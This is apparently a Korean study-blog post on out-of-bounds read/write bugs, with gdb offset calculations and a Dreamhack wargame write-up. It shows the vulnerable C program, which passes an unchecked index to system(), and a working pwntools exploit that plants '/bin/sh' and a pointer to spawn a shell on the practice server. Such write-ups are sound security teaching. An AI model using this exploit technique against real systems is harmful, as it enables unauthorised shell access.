TIL: Out of bound 〰️

Out of Bounds

Out of bounds 취약점을 이용해 임의의 address에 write or read할 수 있다. 이를 위해서는 target과 array의 offset을 알아내야 한다.

만약 target과 array가 같은 segment 상에 있다면 둘 사이의 offset은 항상 일정하므로 debugging을 통해 쉽게 알아낼 수 있지만, 같은 segment가 아니라면 다른 취약점을 이용해 둘 사이의 차이를 구한 뒤 이를 활용해야 한다.

gdb로 변수 address 확인하기

두 변수의 offset을 확인하기 위해 각 변수들의 address를 확인하려면 gdb를 이용하면 된다.

pwndbg> i var isAdmin
Non-debugging symbols:
0x0000000000201130  isAdmin
pwndbg> i var stu
Non-debugging symbols:
0x0000000000201040  stu
pwndbg> print 0x201130-0x201040
$1 = 240

Wargame: out_of_bound

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

Vulnerability scanning

  • checksec

  • system(command[idx]);에서 idx가 특정 범위 안에 있는지 확인하지 않으므로 oob 취약점이 있다.

Memory 구조 파악하기

oob 취약점을 이용하기 위해 gdb로 memory 구조를 파악한다.

같은 방법으로 name의 주소도 확인하면 command의 주소는 0x0804a060이고, name의 주소는 0x0804a0ac임을 알 수 있다.

Exploit

commandchar *의 array이고, char *의 size는 4 byte이다. 또한 command의 주소에서 name의 주소까지의 차이는 76 byte, 즉 19개의 char *만큼의 차이이므로 command[19] name의 첫 4 byte에 해당함을 알 수 있다.

“/bin/sh”system의 argument로 넣으면 shell을 획득할 수 있으므로 name "/bin/sh" name의 주소를 입력해 이 name의 주소를 system의 argument로 주도록 exploit한다.

from pwn import *

p = remote("host3.dreamhack.games", 16207)

p.recvuntil("Admin name: ")
payload = b"/bin/sh"
payload += b"\x00"
payload += p32(0x0804a0ac)
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline("21")

p.interactive()
  • "/bin/sh"NULL byte를 덧붙여줘야 한다.
  • command[19], command[20]"/bin/sh\x00"에 해당하고, 그 뒤의 주소가 command[21]에 해당하므로 마지막에 21을 send해야 한다.

Categories: ,

Updated:

Leave a comment